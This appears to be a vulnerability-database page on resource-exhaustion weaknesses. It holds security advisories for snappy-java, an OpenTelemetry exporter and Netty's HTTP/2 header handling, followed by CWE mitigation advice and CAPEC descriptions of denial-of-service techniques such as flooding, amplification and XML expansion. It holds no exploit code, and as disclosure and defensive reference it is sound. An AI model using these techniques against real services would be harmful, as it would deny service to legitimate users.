"id": "GHSA-55g7-9cwv-5qfv",
"modified": "2023-09-25T21:43:08Z",
"published": "2023-09-25T18:30:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-55g7-9cwv-5qfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43642"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/commit/9f8c3cf74223ed0a8a834134be9c917b9f10ceb5"
},
{
"type": "PACKAGE",
"url": "https://github.com/xerial/snappy-java"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/releases/tag/v1.1.10.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "snappy-java\u0027s missing upper bound check on chunk length can lead to Denial of Service (DoS) impact"
}
GHSA-55M9-299J-53C7
Vulnerability from github – Published: 2026-04-29 20:17 – Updated: 2026-05-08 19:32Summary
When exporting telemetry to a back-end/collector over HTTP using the OpenTelemetry.Exporter.OneCollector exporter, if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.
This could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.
Details
The HttpJsonPostTransport class reads the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter.
An attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.
Impact
If an application using the OneCollector exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.
Mitigation
The application's configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.
Workarounds
Use network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the configured back-end/collector endpoint.
Remediation
#4117 updates the OneCollector exporter to limit the number of bytes read from the response body in an error condition to 4MiB.
Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.15.0"
},
"package": {
"ecosystem": "NuGet",
"name": "OpenTelemetry.Exporter.OneCollector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41484"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:17:57Z",
"nvd_published_at": "2026-05-06T22:16:26Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nWhen exporting telemetry to a back-end/collector over HTTP using the OpenTelemetry.Exporter.OneCollector exporter, if the request results in a unsuccessful request (i.e. HTTP 4xx or 5xx), the response is read into memory with no upper-bound on the number of bytes consumed.\n\nThis could cause memory exhaustion in the consuming application if the configured back-end/collector endpoint is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response.\n\n### Details\n\nThe [`HttpJsonPostTransport`](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/blob/171c6b81f88831641b56b470e6f92862e605013d/src/OpenTelemetry.Exporter.OneCollector/Internal/Transports/HttpJsonPostTransport.cs) class reads the response body when a non-200 HTTP status code is received when exporting telemetry to aid debugging by operators so that the error response is included in the logs emitted by the exporter.\n\nAn attacker who controls the configured endpoint, or who can intercept traffic to them (MiTM), can return an arbitrarily large response body. This causes unbounded heap allocation in the consuming process, leading to high transient memory pressure, garbage-collection stalls, or an OutOfMemoryException that terminates the process.\n\n### Impact\n\nIf an application using the OneCollector exporter is configured to use a back-end/collector endpoint that is attacker-controlled (or a network attacker can MitM the connection) and an extremely large body is returned by the response the application could have its memory exhausted and create a denial-of-service condition.\n\n### Mitigation\n\nThe application\u0027s configured back-end/collector endpoint needs to behave maliciously. If the collector/back-end is a well-behaved implementation response bodies should not be excessively large if a request error occurs.\n\n### Workarounds\n\nUse network-level controls (firewall rules, mTLS, service mesh) to prevent Man-in-the-Middle (MitM) attacks on the configured back-end/collector endpoint.\n\n### Remediation\n\n[#4117](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4117) updates the OneCollector exporter to limit the number of bytes read from the response body in an error condition to 4MiB.\n\n### Resources\n\n- [#4117](https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4117)",
"id": "GHSA-55m9-299j-53c7",
"modified": "2026-05-08T19:32:50Z",
"published": "2026-04-29T20:17:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/security/advisories/GHSA-55m9-299j-53c7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41484"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/pull/4117"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib/commit/77dc5d14fcdf6c6b3aeba5f8bba5dfded90495c9"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-dotnet-contrib"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OneCollector exporter reads unbounded HTTP response bodies"
}
GHSA-563Q-J3CM-6JXM
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.
Details
There is a setting in the http2 specification called SETTINGS_MAX_HEADER_LIST_SIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”
When a client sends that setting to Netty, it appears that Netty will behave as follows:
- Read the request
- Proxy the request to the origin
- Attempt to produce a response
- Create an exception while writing the headers for the response
Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.
Remediation
When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.
Impact
This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.
Credit
Jonathan Looney (Engineering, Netflix)
Contact
Ashley Tolbert (Security, Netflix) - artolbert@netflix.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50560"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:46:56Z",
"nvd_published_at": "2026-06-12T16:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nNetty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.\n\n### Details\n\nThere is a setting in the http2 specification called `SETTINGS_MAX_HEADER_LIST_SIZE`. According to[ the RFC](https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings): \u201cThis advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.\u201d\n\nWhen a client sends that setting to Netty, it appears that Netty will behave as follows:\n\n- Read the request\n- Proxy the request to the origin\n- Attempt to produce a response\n- Create an exception while writing the headers for the response\n\nFunctionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.\n\n## Remediation\n\nWhen speaking with clients, Netty should potentially treat this as \u201cadvisory\u201d and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.\n\n### Impact\n\nThis is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.\n\n## Credit\nJonathan Looney (Engineering, Netflix)\n\n## Contact\nAshley Tolbert (Security, Netflix) - artolbert@netflix.com",
"id": "GHSA-563q-j3cm-6jxm",
"modified": "2026-06-15T20:46:56Z",
"published": "2026-06-15T20:46:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-563q-j3cm-6jxm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50560"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9113.html#name-defined-settings"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty susceptible to HTTP/2 Reset Attack with different on-the-wire signature"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.